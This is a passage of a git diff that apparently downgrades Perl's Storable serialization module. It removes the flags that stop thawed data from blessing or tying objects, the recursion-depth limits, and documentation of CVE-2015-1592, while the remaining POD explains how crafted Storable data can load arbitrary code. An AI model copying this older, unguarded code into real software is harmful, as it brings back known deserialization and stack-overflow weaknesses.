cxt; } /* Sub-block needed for macro */ - cxt = real_context; /* And we need this temporary... */ + { dSTCXT; real_context = cxt; } /* Sub-block needed for macro */ + cxt = real_context; /* And we need this temporary... */ - /* - * Now, 'cxt' may refer to a new context. - */ + /* + * Now, 'cxt' may refer to a new context. + */ - assert(cxt); - ASSERT(!cxt->s_dirty, ("clean context")); - ASSERT(!cxt->entry, ("entry will not cause new context allocation")); + assert(cxt); + ASSERT(!cxt->s_dirty, ("clean context")); + ASSERT(!cxt->entry, ("entry will not cause new context allocation")); - size = MBUF_SIZE(); - TRACEME(("dclone stored %ld bytes", (long)size)); - MBUF_INIT(size); + size = MBUF_SIZE(); + TRACEME(("dclone stored %d bytes", size)); + MBUF_INIT(size); - /* - * Since we're passing do_retrieve() both a NULL file and sv, we need - * to pre-compute the taintedness of the input by setting cxt->tainted - * to whatever state our own input string was. -- RAM, 15/09/2000 - * - * do_retrieve() will free non-root context. - */ + /* + * Since we're passing do_retrieve() both a NULL file and sv, we need + * to pre-compute the taintedness of the input by setting cxt->tainted + * to whatever state our own input string was. -- RAM, 15/09/2000 + * + * do_retrieve() will free non-root context. + */ - cxt->s_tainted = SvTAINTED(sv); - out = do_retrieve(aTHX_ (PerlIO*) 0, Nullsv, ST_CLONE, FLAG_BLESS_OK | FLAG_TIE_OK); + cxt->s_tainted = SvTAINTED(sv); + out = do_retrieve(aTHX_ (PerlIO*) 0, Nullsv, ST_CLONE); - TRACEMED(("dclone returns 0x%" UVxf, PTR2UV(out))); + TRACEME(("dclone returns 0x%" UVxf, PTR2UV(out))); - return out; + return out; } /*** @@ -7733,21 +6623,21 @@ static SV *dclone(pTHX_ SV *sv) #ifndef OutputStream #define OutputStream PerlIO * -#define InputStream PerlIO * +#define InputStream PerlIO * #endif /* !OutputStream */ static int storable_free(pTHX_ SV *sv, MAGIC* mg) { - stcxt_t *cxt = (stcxt_t *)SvPVX(sv); - - PERL_UNUSED_ARG(mg); - if (kbuf) - Safefree(kbuf); - if (!cxt->membuf_ro && mbase) - Safefree(mbase); - if (cxt->membuf_ro && (cxt->msaved).arena) - Safefree((cxt->msaved).arena); - return 0; + stcxt_t *cxt = (stcxt_t *)SvPVX(sv); + + PERL_UNUSED_ARG(mg); + if (kbuf) + Safefree(kbuf); + if (!cxt->membuf_ro && mbase) + Safefree(mbase); + if (cxt->membuf_ro && (cxt->msaved).arena) + Safefree((cxt->msaved).arena); + return 0; } MODULE = Storable PACKAGE = Storable @@ -7770,12 +6660,12 @@ BOOT: #ifdef USE_56_INTERWORK_KLUDGE gv_fetchpv("Storable::interwork_56_64bit", GV_ADDMULTI, SVt_PV); #endif - } +} void init_perinterp() -CODE: - init_perinterp(aTHX); + CODE: + init_perinterp(aTHX); # pstore # @@ -7789,16 +6679,16 @@ CODE: SV * pstore(f,obj) - OutputStream f - SV* obj -ALIAS: - net_pstore = 1 -PPCODE: - RETVAL = do_store(aTHX_ f, obj, 0, ix, (SV **)0) ? &PL_sv_yes : &PL_sv_undef; - /* do_store() can reallocate the stack, so need a sequence point to ensure - that ST(0) knows about it. Hence using two statements. */ - ST(0) = RETVAL; - XSRETURN(1); +OutputStream f +SV * obj + ALIAS: + net_pstore = 1 + PPCODE: + RETVAL = do_store(aTHX_ f, obj, 0, ix, (SV **)0) ? &PL_sv_yes : &PL_sv_undef; + /* do_store() can reallocate the stack, so need a sequence point to ensure + that ST(0) knows about it. Hence using two statements. */ + ST(0) = RETVAL; + XSRETURN(1); # mstore # @@ -7812,70 +6702,55 @@ PPCODE: SV * mstore(obj) - SV* obj -ALIAS: - net_mstore = 1 -CODE: +SV * obj + ALIAS: + net_mstore = 1 + CODE: + RETVAL = &PL_sv_undef; + if (!do_store(aTHX_ (PerlIO*) 0, obj, 0, ix, &RETVAL)) RETVAL = &PL_sv_undef; - if (!do_store(aTHX_ (PerlIO*) 0, obj, 0, ix, &RETVAL)) - RETVAL = &PL_sv_undef; -OUTPUT: - RETVAL + OUTPUT: + RETVAL SV * -pretrieve(f, flag = 6) - InputStream f - IV flag -CODE: - RETVAL = pretrieve(aTHX_ f, flag); -OUTPUT: - RETVAL +pretrieve(f) +InputStream f + CODE: + RETVAL = pretrieve(aTHX_ f); + OUTPUT: + RETVAL SV * -mretrieve(sv, flag = 6) - SV* sv - IV flag -CODE: - RETVAL = mretrieve(aTHX_ sv, flag); -OUTPUT: - RETVAL +mretrieve(sv) +SV * sv + CODE: + RETVAL = mretrieve(aTHX_ sv); + OUTPUT: + RETVAL SV * dclone(sv) - SV* sv -CODE: - RETVAL = dclone(aTHX_ sv); -OUTPUT: - RETVAL +SV * sv + CODE: + RETVAL = dclone(aTHX_ sv); + OUTPUT: + RETVAL void last_op_in_netorder() -ALIAS: - is_storing = ST_STORE - is_retrieving = ST_RETRIEVE -PREINIT: - bool result; -CODE: - if (ix) { - dSTCXT; - assert(cxt); - result = cxt->entry && (cxt->optype & ix) ? TRUE : FALSE; - } else { - result = !!last_op_in_netorder(aTHX); - } - ST(0) = boolSV(result); - - -IV -stack_depth() -CODE: - RETVAL = SvIV(get_sv("Storable::recursion_limit", GV_ADD)); -OUTPUT: - RETVAL - -IV -stack_depth_hash() -CODE: - RETVAL = SvIV(get_sv("Storable::recursion_limit_hash", GV_ADD)); -OUTPUT: - RETVAL + ALIAS: + is_storing = ST_STORE + is_retrieving = ST_RETRIEVE + PREINIT: + bool result; + PPCODE: + if (ix) { + dSTCXT; + + assert(cxt); + result = cxt->entry && (cxt->optype & ix) ? TRUE : FALSE; + } else { + result = !!last_op_in_netorder(aTHX); + } + ST(0) = boolSV(result); + XSRETURN(1); diff --git a/dist/Storable/__Storable__.pm b/dist/Storable/__Storable__.pm index 71c669daaf2d..d8fd740eeef4 100644 --- a/dist/Storable/__Storable__.pm +++ b/dist/Storable/__Storable__.pm @@ -1,8 +1,6 @@ # # Copyright (c) 1995-2001, Raphael Manfredi # Copyright (c) 2002-2014 by the Perl 5 Porters -# Copyright (c) 2015-2016 cPanel Inc -# Copyright (c) 2017 Reini Urban # # You may redistribute only under the same terms as Perl 5, as specified # in the README file that comes with the distribution. @@ -10,34 +8,21 @@ require XSLoader; require Exporter; -package Storable; +package Storable; @ISA = qw(Exporter); -our @ISA = qw(Exporter); -our @EXPORT = qw(store retrieve); -our @EXPORT_OK = qw( +@EXPORT = qw(store retrieve); +@EXPORT_OK = qw( nstore store_fd nstore_fd fd_retrieve freeze nfreeze thaw dclone retrieve_fd lock_store lock_nstore lock_retrieve file_magic read_magic - BLESS_OK TIE_OK FLAGS_COMPAT - stack_depth stack_depth_hash ); -our ($canonical, $forgive_me); +use vars qw($canonical $forgive_me $VERSION); -our $VERSION = '3.08'; - -our $recursion_limit; -our $recursion_limit_hash; - -do "Storable/Limit.pm"; - -$recursion_limit = 512 - unless defined $recursion_limit; -$recursion_limit_hash = 256 - unless defined $recursion_limit_hash; +$VERSION = '2.62'; BEGIN { if (eval { @@ -72,14 +57,14 @@ BEGIN { # BEGIN { - if (eval { require Fcntl; 1 } && exists $Fcntl::EXPORT_TAGS{'flock'}) { - Fcntl->import(':flock'); - } else { - eval q{ - sub LOCK_SH () { 1 } - sub LOCK_EX () { 2 } - }; - } + if (eval { require Fcntl; 1 } && exists $Fcntl::EXPORT_TAGS{'flock'}) { + Fcntl->import(':flock'); + } else { + eval q{ + sub LOCK_SH () {1} + sub LOCK_EX () {2} + }; + } } sub CLONE { @@ -87,23 +72,25 @@ sub CLONE { Storable::init_perinterp(); } -sub BLESS_OK () { 2 } -sub TIE_OK () { 4 } -sub FLAGS_COMPAT () { BLESS_OK | TIE_OK } - # By default restricted hashes are downgraded on earlier perls. -$Storable::flags = FLAGS_COMPAT; $Storable::downgrade_restricted = 1; $Storable::accept_future_minor = 1; -XSLoader::load('Storable'); +XSLoader::load('Storable', $Storable::VERSION); # # Determine whether locking is possible, but only when needed. # -sub CAN_FLOCK; # TEMPLATE - replaced by Storable.pm.PL +sub CAN_FLOCK; my $CAN_FLOCK; sub CAN_FLOCK { + return $CAN_FLOCK if defined $CAN_FLOCK; + require Config; import Config; + return $CAN_FLOCK = + $Config{'d_flock'} || + $Config{'d_fcntl_can_lock'} || + $Config{'d_lockf'}; +} sub show_file_magic { print <>", $file) || logcroak "can't write into $file: $!"; - unless (&CAN_FLOCK) { - logcarp - "Storable::lock_store: fcntl/flock emulation broken on $^O"; - return undef; - } - flock(FILE, LOCK_EX) || - logcroak "can't get exclusive lock on $file: $!"; - truncate FILE, 0; - # Unlocking will happen when FILE is closed - } else { - open(FILE, ">", $file) || logcroak "can't create $file: $!"; - } - binmode FILE; # Archaic systems... - my $da = $@; # Don't mess if called from exception handler - my $ret; - # Call C routine nstore or pstore, depending on network order - eval { $ret = &$xsptr(*FILE, $self) }; - # close will return true on success, so the or short-circuits, the () - # expression is true, and for that case the block will only be entered - # if $@ is true (ie eval failed) - # if close fails, it returns false, $ret is altered, *that* is (also) - # false, so the () expression is false, !() is true, and the block is - # entered. - if (!(close(FILE) or undef $ret) || $@) { - unlink($file) or warn "Can't unlink $file: $!\n"; - } - if ($@) { - $@ =~ s/\.?\n$/,/ unless ref $@; - logcroak $@; - } - $@ = $da; - return $ret; + my $xsptr = shift; + my $self = shift; + my ($file, $use_locking) = @_; + logcroak "not a reference" unless ref($self); + logcroak "wrong argument number" unless @_ == 2; # No @foo in arglist + local *FILE; + if ($use_locking) { + open(FILE, '>>', $file) || logcroak "can't write into $file: $!"; + unless (&CAN_FLOCK) { + logcarp + "Storable::lock_store: fcntl/flock emulation broken on $^O"; + return undef; + } + flock(FILE, LOCK_EX) || + logcroak "can't get exclusive lock on $file: $!"; + truncate FILE, 0; + # Unlocking will happen when FILE is closed + } else { + open(FILE, '>', $file) || logcroak "can't create $file: $!"; + } + binmode FILE; # Archaic systems... + my $da = $@; # Don't mess if called from exception handler + my $ret; + # Call C routine nstore or pstore, depending on network order + eval { $ret = &$xsptr(*FILE, $self) }; + # close will return true on success, so the or short-circuits, the () + # expression is true, and for that case the block will only be entered + # if $@ is true (ie eval failed) + # if close fails, it returns false, $ret is altered, *that* is (also) + # false, so the () expression is false, !() is true, and the block is + # entered. + if (!(close(FILE) or undef $ret) || $@) { + unlink($file) or warn "Can't unlink $file: $!\n"; + } + logcroak $@ if $@ =~ s/\.?\n$/,/; + $@ = $da; + return $ret; } # @@ -300,7 +284,7 @@ sub _store { # Returns undef if an I/O error occurred. # sub store_fd { - return _store_fd(\&pstore, @_); + return _store_fd(\&pstore, @_); } # @@ -309,27 +293,27 @@ sub store_fd { # Same as store_fd, but in network order. # sub nstore_fd { - my ($self, $file) = @_; - return _store_fd(\&net_pstore, @_); + my ($self, $file) = @_; + return _store_fd(\&net_pstore, @_); } # Internal store routine on opened file descriptor sub _store_fd { - my $xsptr = shift; - my $self = shift; - my ($file) = @_; - logcroak "not a reference" unless ref($self); - logcroak "too many arguments" unless @_ == 1; # No @foo in arglist - my $fd = fileno($file); - logcroak "not a valid file descriptor" unless defined $fd; - my $da = $@; # Don't mess if called from exception handler - my $ret; - # Call C routine nstore or pstore, depending on network order - eval { $ret = &$xsptr($file, $self) }; - logcroak $@ if $@ =~ s/\.?\n$/,/; - local $\; print $file ''; # Autoflush the file if wanted - $@ = $da; - return $ret; + my $xsptr = shift; + my $self = shift; + my ($file) = @_; + logcroak "not a reference" unless ref($self); + logcroak "too many arguments" unless @_ == 1; # No @foo in arglist + my $fd = fileno($file); + logcroak "not a valid file descriptor" unless defined $fd; + my $da = $@; # Don't mess if called from exception handler + my $ret; + # Call C routine nstore or pstore, depending on network order + eval { $ret = &$xsptr($file, $self) }; + logcroak $@ if $@ =~ s/\.?\n$/,/; + local $\; print $file ''; # Autoflush the file if wanted + $@ = $da; + return $ret; } # @@ -339,7 +323,7 @@ sub _store_fd { # containing the result. # sub freeze { - _freeze(\&mstore, @_); + _freeze(\&mstore, @_); } # @@ -348,25 +332,22 @@ sub freeze { # Same as freeze but in network order. # sub nfreeze { - _freeze(\&net_mstore, @_); + _freeze(\&net_mstore, @_); } # Internal freeze routine sub _freeze { - my $xsptr = shift; - my $self = shift; - logcroak "not a reference" unless ref($self); - logcroak "too many arguments" unless @_ == 0; # No @foo in arglist - my $da = $@; # Don't mess if called from exception handler - my $ret; - # Call C routine mstore or net_mstore, depending on network order - eval { $ret = &$xsptr($self) }; - if ($@) { - $@ =~ s/\.?\n$/,/ unless ref $@; - logcroak $@; - } - $@ = $da; - return $ret ? $ret : undef; + my $xsptr = shift; + my $self = shift; + logcroak "not a reference" unless ref($self); + logcroak "too many arguments" unless @_ == 0; # No @foo in arglist + my $da = $@; # Don't mess if called from exception handler + my $ret; + # Call C routine mstore or net_mstore, depending on network order + eval { $ret = &$xsptr($self) }; + logcroak $@ if $@ =~ s/\.?\n$/,/; + $@ = $da; + return $ret ? $ret : undef; } # @@ -375,13 +356,8 @@ sub _freeze { # Retrieve object hierarchy from disk, returning a reference to the root # object of that tree. # -# retrieve(file, flags) -# flags include by default BLESS_OK=2 | TIE_OK=4 -# with flags=0 or the global $Storable::flags set to 0, no resulting object -# will be blessed nor tied. -# sub retrieve { - _retrieve(shift, 0, @_); + _retrieve($_[0], 0); } # @@ -390,35 +366,31 @@ sub retrieve { # Same as retrieve, but with advisory locking. # sub lock_retrieve { - _retrieve(shift, 1, @_); + _retrieve($_[0], 1); } # Internal retrieve routine sub _retrieve { - my ($file, $use_locking, $flags) = @_; - $flags = $Storable::flags unless defined $flags; - my $FILE; - open($FILE, "<", $file) || logcroak "can't open $file: $!"; - binmode $FILE; # Archaic systems... - my $self; - my $da = $@; # Could be from exception handler - if ($use_locking) { - unless (&CAN_FLOCK) { - logcarp - "Storable::lock_store: fcntl/flock emulation broken on $^O"; - return undef; - } - flock($FILE, LOCK_SH) || logcroak "can't get shared lock on $file: $!"; - # Unlocking will happen when FILE is closed - } - eval { $self = pretrieve($FILE, $flags) }; # Call C routine - close($FILE); - if ($@) { - $@ =~ s/\.?\n$/,/ unless ref $@; - logcroak $@; - } - $@ = $da; - return $self; + my ($file, $use_locking) = @_; + local *FILE; + open(FILE, '<', $file) || logcroak "can't open $file: $!"; + binmode FILE; # Archaic systems... + my $self; + my $da = $@; # Could be from exception handler + if ($use_locking) { + unless (&CAN_FLOCK) { + logcarp + "Storable::lock_store: fcntl/flock emulation broken on $^O"; + return undef; + } + flock(FILE, LOCK_SH) || logcroak "can't get shared lock on $file: $!"; + # Unlocking will happen when FILE is closed + } + eval { $self = pretrieve(*FILE) }; # Call C routine + close(FILE); + logcroak $@ if $@ =~ s/\.?\n$/,/; + $@ = $da; + return $self; } # @@ -427,19 +399,15 @@ sub _retrieve { # Same as retrieve, but perform from an already opened file descriptor instead. # sub fd_retrieve { - my ($file, $flags) = @_; - $flags = $Storable::flags unless defined $flags; - my $fd = fileno($file); - logcroak "not a valid file descriptor" unless defined $fd; - my $self; - my $da = $@; # Could be from exception handler - eval { $self = pretrieve($file, $flags) }; # Call C routine - if ($@) { - $@ =~ s/\.?\n$/,/ unless ref $@; - logcroak $@; - } - $@ = $da; - return $self; + my ($file) = @_; + my $fd = fileno($file); + logcroak "not a valid file descriptor" unless defined $fd; + my $self; + my $da = $@; # Could be from exception handler + eval { $self = pretrieve($file) }; # Call C routine + logcroak $@ if $@ =~ s/\.?\n$/,/; + $@ = $da; + return $self; } sub retrieve_fd { &fd_retrieve } # Backward compatibility @@ -450,71 +418,15 @@ sub retrieve_fd { &fd_retrieve } # Backward compatibility # Recreate objects in memory from an existing frozen image created # by freeze. If the frozen image passed is undef, return undef. # -# thaw(frozen_obj, flags) -# flags include by default BLESS_OK=2 | TIE_OK=4 -# with flags=0 or the global $Storable::flags set to 0, no resulting object -# will be blessed nor tied. -# sub thaw { - my ($frozen, $flags) = @_; - $flags = $Storable::flags unless defined $flags; - return undef unless defined $frozen; - my $self; - my $da = $@; # Could be from exception handler - eval { $self = mretrieve($frozen, $flags) };# Call C routine - if ($@) { - $@ =~ s/\.?\n$/,/ unless ref $@; - logcroak $@; - } - $@ = $da; - return $self; -} - -# -# _make_re($re, $flags) -# -# Internal function used to thaw a regular expression. -# - -my $re_flags; -BEGIN { - if ($] < 5.010) { - $re_flags = qr/\A[imsx]*\z/; - } - elsif ($] < 5.014) { - $re_flags = qr/\A[msixp]*\z/; - } - elsif ($] < 5.022) { - $re_flags = qr/\A[msixpdual]*\z/; - } - else { - $re_flags = qr/\A[msixpdualn]*\z/; - } -} - -sub _make_re { - my ($re, $flags) = @_; - - $flags =~ $re_flags - or die "regexp flags invalid"; - - my $qr = eval "qr/\$re/$flags"; - die $@ if $@; - - $qr; -} - -if ($] < 5.012) { - eval <<'EOS' -sub _regexp_pattern { - my $re = "" . shift; - $re =~ /\A\(\?([xism]*)(?:-[xism]*)?:(.*)\)\z/s - or die "Cannot parse regexp /$re/"; - return ($2, $1); -} -1 -EOS - or die "Cannot define _regexp_pattern: $@"; + my ($frozen) = @_; + return undef unless defined $frozen; + my $self; + my $da = $@; # Could be from exception handler + eval { $self = mretrieve($frozen) }; # Call C routine + logcroak $@ if $@ =~ s/\.?\n$/,/; + $@ = $da; + return $self; } 1; @@ -719,22 +631,6 @@ all values unlocked. To make Storable C instead, set C<$Storable::downgrade_restricted> to a C value. To restore the default set it back to some C value. -The cperl PERL_PERTURB_KEYS_TOP hash strategy has a known problem with -restricted hashes. - -=item huge objects - -On 64bit systems some data structures may exceed the 2G (i.e. I32_MAX) -limit. On 32bit systems also strings between I32 and U32 (2G-4G). -Since Storable 3.00 (not in perl5 core) we are able to store and -retrieve these objects, even if perl5 itself is not able to handle -them. These are strings longer then 4G, arrays with more then 2G -elements and hashes with more then 2G elements. cperl forbids hashes -with more than 2G elements, but this fail in cperl then. perl5 itself -at least until 5.26 allows it, but cannot iterate over them. -Note that creating those objects might cause out of memory -exceptions by the operating system before perl has a chance to abort. - =item files from future versions of Storable Earlier versions of Storable would immediately croak if they encountered @@ -761,10 +657,10 @@ relevant feature. =head1 ERROR REPORTING -Storable uses the "exception" paradigm, in that it does not try to -workaround failures: if something bad happens, an exception is -generated from the caller's perspective (see L and C). -Use eval {} to trap those exceptions. +Storable uses the "exception" paradigm, in that it does not try to workaround +failures: if something bad happens, an exception is generated from the +caller's perspective (see L and C). Use eval {} to trap +those exceptions. When Storable croaks, it tries to report the error via the C routine from the C package, if it is available. @@ -772,13 +668,6 @@ routine from the C package, if it is available. Normal errors are reported by having store() or retrieve() return C. Such errors are usually I/O errors (or truncated stream errors at retrieval). -When Storable throws the "Max. recursion depth with nested structures -exceeded" error we are already out of stack space. Unfortunately on -some earlier perl versions cleaning up a recursive data structure -recurses into the free calls, which will lead to stack overflows in -the cleanup. This data structure is not properly cleaned up then, it -will only be destroyed during global destruction. - =head1 WIZARDS ONLY =head2 Hooks @@ -941,42 +830,6 @@ There are a few things you need to know, however: =item * -Since Storable 3.05 we probe for the stack recursion limit for references, -arrays and hashes to a maximal depth of ~1200-35000, otherwise we might -fall into a stack-overflow. On JSON::XS this limit is 512 btw. With -references not immediately referencing each other there's no such -limit yet, so you might fall into such a stack-overflow segfault. - -This probing and the checks performed have some limitations: - -=over - -=item * - -the stack size at build time might be different at run time, eg. the -stack size may have been modified with ulimit(1). If it's larger at -run time Storable may fail the freeze() or thaw() unnecessarily. - -=item * - -the stack size might be different in a thread. - -=item * - -array and hash recursion limits are checked separately against the -same recursion depth, a frozen structure with a large sequence of -nested arrays within many nested hashes may exhaust the processor -stack without triggering Storable's recursion protection. - -=back - -You can control the maximum array and hash recursion depths by -modifying C<$Storable::recursion_limit> and -C<$Storable::recursion_limit_hash> respectively. Either can be set to -C<-1> to prevent any depth checks, though this isn't recommended. - -=item * - You can create endless loops if the things you serialize via freeze() (for instance) point back to the object we're trying to serialize in the hook. @@ -989,12 +842,6 @@ B, and if there is a serializing hook in A that says freeze(B), then when deserializing, we'll get [A', C'] where A' refers to B', but C' refers to D, a deep clone of B'. The topology was not preserved. -=item * - -The maximal stack recursion limit for your system is returned by -C and C. The hash limit is usually -half the size of the array and ref limit, as the Perl hash API is not optimal. - =back That's why C lets you provide a list of references @@ -1186,36 +1033,32 @@ compartment: B Some features of Storable can lead to security vulnerabilities if you -accept Storable documents from untrusted sources with the default -flags. Most obviously, the optional (off by default) CODE reference -serialization feature allows transfer of code to the deserializing -process. Furthermore, any serialized object will cause Storable to -helpfully load the module corresponding to the class of the object in -the deserializing module. For manipulated module names, this can load -almost arbitrary code. Finally, the deserialized object's destructors -will be invoked when the objects get destroyed in the deserializing -process. Maliciously crafted Storable documents may put such objects -in the value of a hash key that is overridden by another key/value -pair in the same hash, thus causing immediate destructor execution. - -To disable blessing objects while thawing/retrieving remove the flag -C = 2 from C<$Storable::flags> or set the 2nd argument for -thaw/retrieve to 0. - -To disable tieing data while thawing/retrieving remove the flag C -= 4 from C<$Storable::flags> or set the 2nd argument for thaw/retrieve -to 0. - -With the default setting of C<$Storable::flags> = 6, creating or destroying -random objects, even renamed objects can be controlled by an attacker. -See CVE-2015-1592 and its metasploit module. - -If your application requires accepting data from untrusted sources, -you are best off with a less powerful and more-likely safe -serialization format and implementation. If your data is sufficiently -simple, Cpanel::JSON::XS, Data::MessagePack or Serial are the best -choices and offers maximum interoperability, but note that Serial is -unsafe by default. +accept Storable documents from untrusted sources. Most obviously, the +optional (off by default) CODE reference serialization feature allows +transfer of code to the deserializing process. Furthermore, any +serialized object will cause Storable to helpfully load the module +corresponding to the class of the object in the deserializing module. +For manipulated module names, this can load almost arbitrary code. +Finally, the deserialized object's destructors will be invoked when +the objects get destroyed in the deserializing process. Maliciously +crafted Storable documents may put such objects in the value of +a hash key that is overridden by another key/value pair in the +same hash, thus causing immediate destructor execution. + +In a future version of Storable, we intend to provide options to disable +loading modules for classes and to disable deserializing objects +altogether. I + +B + +If your application requires accepting data from untrusted sources, you +are best off with a less powerful and more-likely safe serialization format +and implementation. If your data is sufficiently simple, JSON is a good +choice and offers maximum interoperability. =head1 WARNING @@ -1243,42 +1086,9 @@ populated, sorted and freed. Some tests have shown a halving of the speed of storing -- the exact penalty will depend on the complexity of your data. There is no slowdown on retrieval. -=head1 REGULAR EXPRESSIONS - -Storable now has experimental support for storing regular expressions, -but there are significant limitations: - -=over - -=item * - -perl 5.8 or later is required. - -=item * - -regular expressions with code blocks, ie C or C will throw an exception when thawed. - -=item * - -regular expression syntax and flags have changed over the history of -perl, so a regular expression that you freeze in one version of perl -may fail to thaw or behave differently in another version of perl. - -=item * - -depending on the version of perl, regular expressions can change in -behaviour depending on the context, but later perls will bake that -behaviour into the regexp. - -=back - -Storable will throw an exception if a frozen regular expression cannot -be thawed. - =head1 BUGS -You can't store GLOB, FORMLINE, etc.... If you can define semantics +You can't store GLOB, FORMLINE, REGEXP, etc.... If you can define semantics for those operations, feel free to enhance Storable so that it can deal with them. @@ -1392,9 +1202,7 @@ Thank you to (in chronological order): Dominic Dunlop Erik Haugan Benjamin A. Holzman - Reini Urban - Todd Rinaldo - Aaron Crane + Reini Urban for their bug reports, suggestions and contributions. @@ -1409,14 +1217,13 @@ Murray Nesbitt made Storable thread-safe. Marc Lehmann added overloading and references to tied items support. Benjamin Holzman added a performance improvement for overloaded classes; thanks to Grant Street Group for footing the bill. -Reini Urban took over maintainance from p5p, and added security fixes -and huge object support. =head1 AUTHOR Storable was written by Raphael Manfredi FRaphael_Manfredi@pobox.comE> -Maintenance is now done by cperl L +Maintenance is now done by the perl5-porters +Fperl5-porters@perl.orgE> Please e-mail us with problems, bug fixes, comments and complaints, although if you have compliments you should send them to Raphael. diff --git a/dist/Storable/hints/linux.pl b/dist/Storable/hints/linux.pl index f6cc0fa2b50c..0c7d5e35a9f5 100644 --- a/dist/Storable/hints/linux.pl +++ b/dist/Storable/hints/linux.pl @@ -6,10 +6,9 @@ # 20011002 and 3.3, and in Redhat 7.1 with gcc 3.3.1. The failures # happen only for unthreaded builds, threaded builds work okay. use Config; -if ($Config{gccversion} and !$Config{usethreads}) { +if ($Config{gccversion}) { my $optimize = $Config{optimize}; - # works fine with gcc 4 or clang - if ($optimize =~ s/(^| )-O[3-9]( |$)/$1-O2$2/ and $Config{gccversion} =~ /^[23]\./) { + if ($optimize =~ s/(^| )-O[3-9]( |$)/$1-O2$2/) { $self->{OPTIMIZE} = $optimize; } } diff --git a/dist/Storable/stacksize b/dist/Storable/stacksize deleted file mode 100644 index 7abd3a84cc02..000000000000 --- a/dist/Storable/stacksize +++ /dev/null @@ -1,232 +0,0 @@ -#!/usr/bin/perl -# binary search maximum stack depth for arrays and hashes -# and store it in lib/Storable/Limit.pm - -use Config; -use Cwd; -use File::Spec; -use strict; - -my $fn = "lib/Storable/Limit.pm"; -my $ptrsize = $Config{ptrsize}; -my ($bad1, $bad2) = (65001, 25000); -sub QUIET () { - (defined $ENV{MAKEFLAGS} and $ENV{MAKEFLAGS} =~ /\b(s|silent|quiet)\b/ - and !defined($ENV{TRAVIS})) - ? 1 : 0 -} -sub PARALLEL () { - if (defined $ENV{MAKEFLAGS} - and $ENV{MAKEFLAGS} =~ /\bj\s*(\d+)\b/ - and $1 > 1) { - return 1; - } else { - return 0; - } -} -sub is_miniperl { - return !defined &DynaLoader::boot_DynaLoader; -} - -if (is_miniperl()) { - die "Should not run during miniperl\n"; -} -my $prefix = ""; -if ($^O eq "MSWin32") { - # prevent Windows popping up a dialog each time we overflow - # the stack - require Win32API::File; - Win32API::File->import(qw(SetErrorMode SEM_NOGPFAULTERRORBOX SEM_FAILCRITICALERRORS)); - SetErrorMode(SEM_NOGPFAULTERRORBOX() | SEM_FAILCRITICALERRORS()); -} -# the ; here is to ensure system() passes this to the shell -elsif (system("ulimit -c 0 ;") == 0) { - # try to prevent core dumps - $prefix = "ulimit -c 0 ; "; -} -if (@ARGV and $ARGV[0] eq '--core') { - $ENV{PERL_CORE} = 1; -} -my $PERL = $^X; -if ($ENV{PERL_CORE}) { - my $path; - my $ldlib = $Config{ldlibpthname}; - if (-d 'dist/Storable') { - chdir 'dist/Storable'; - $PERL = "../../$PERL" unless $PERL =~ m|^/|; - } - if ($ldlib) { - $path = getcwd()."/../.."; - } - if ($^O eq 'MSWin32' and -d '../dist/Storable') { - chdir '..\dist\Storable'; - $PERL = "..\\..\\$PERL" unless $PERL =~ /^[A-Za-z]:\\/; - } - $PERL = "\"$PERL\"" if $PERL =~ / /; - if ($ldlib and $ldlib ne 'PATH') { - $PERL = "$ldlib=$path $PERL"; - } -} - --d "lib" or mkdir "lib"; --d "lib/Storable" or mkdir "lib/Storable"; - -if ($^O eq "MSWin32") { - require Win32; - my ($str, $major, $minor) = Win32::GetOSVersion(); - if ($major < 6 || $major == 6 && $minor < 1) { - print "Using defaults for older Win32\n"; - write_limits(500, 256); - exit; - } -} -my ($n, $good, $bad, $found) = - (65000, 100, $bad1, undef); -print "probe for max. stack sizes...\n" unless QUIET; -# -I. since we're run before pm_to_blib (which is going to copy the -# file we create) and need to load our Storable.pm, not the already -# installed Storable.pm -my $mblib = '-Mblib -I.'; -if ($ENV{PERL_CORE}) { - if ($^O eq 'MSWin32') { - $mblib = '-I..\..\lib\auto -I..\..\lib'; - } else { - $mblib = '-I../../lib/auto -I../../lib'; - } -} -if (PARALLEL) { - # problem with parallel builds. wait for INST_DYNAMIC linking to be done. - # the problem is the RM_F INST_DYNAMIC race. - print "parallel build race - wait for linker ...\n" unless QUIET; - sleep(2.0); -} - -sub cmd { - my ($i, $try, $limit_name) = @_; - die unless $i; - my $code = "my \$t; \$Storable::$limit_name = -1; $try for 1..$i;dclone(\$t); print qq/ok\n/"; - my $q = ($^O eq 'MSWin32') ? '"' : "'"; - - "$prefix $PERL $mblib -MStorable=dclone -e$q$code$q" -} -# try more -sub good { - my $i = shift; # this passed - my $j = $i + abs(int(($bad - $i) / 2)); - print "Storable: determining recursion limit: $i passed, try more $j ...\n" unless QUIET; - $good = $i; - if ($j <= $i) { - $found++; - } - return $j; -} -# try less -sub bad { - my $i = shift; # this failed - my $j = $i - abs(int(($i - $good) / 2)); - print "Storable: determining recursion limit: $i too big, try less $j ...\n" unless QUIET; - $bad = $i; - if ($j >= $i) { - $j = $good; - $found++; - } - return $j; -} - -sub array_cmd { - my $depth = shift; - return cmd($depth, '$t=[$t]', 'recursion_limit'); -} - -# first check we can successfully run with a minimum level -my $cmd = array_cmd(1); -unless ((my $output = `$cmd`) =~ /\bok\b/) { - die "Cannot run probe: '$output', aborting...\n"; -} - -unless ($ENV{STORABLE_NOISY}) { - # suppress Segmentation fault messages - open STDERR, ">", File::Spec->devnull; -} - -while (!$found) { - my $cmd = array_cmd($n); - #print "$cmd\n" unless $QUIET; - if (`$cmd` =~ /\bok\b/) { - $n = good($n); - } else { - $n = bad($n); - } -} -print "MAX_DEPTH = $n\n" unless QUIET; -my $max_depth = $n; - -($n, $good, $bad, $found) = - (int($n/2), 50, $n, undef); -# pack j only since 5.8 -my $max = ($] > 5.007 and length(pack "j", 0) < 8) - ? ($^O eq 'MSWin32' ? 3000 : 8000) - : $max_depth; -$n = $max if $n > $max; -$bad = $max if $bad > $max; -while (!$found) { - my $cmd = cmd($n, '$t={1=>$t}', 'recursion_limit_hash'); - #print "$cmd\n" unless $QUIET; - if (`$cmd` =~ /\bok\b/) { - $n = good($n); - } else { - $n = bad($n); - } -} -if ($max_depth == $bad1-1 - and $n == $bad2-1) -{ - # more likely the shell. travis docker ubuntu, mingw e.g. - print "Error: Apparently your system(SHELLSTRING) cannot catch stack overflows\n" - unless QUIET; - $max_depth = 512; - $n = 256; - print "MAX_DEPTH = $max_depth\n" unless QUIET; -} -print "MAX_DEPTH_HASH = $n\n" unless QUIET; -my $max_depth_hash = $n; - -# Previously this calculation was done in the macro, calculate it here -# instead so a user setting of either variable more closely matches -# the limits 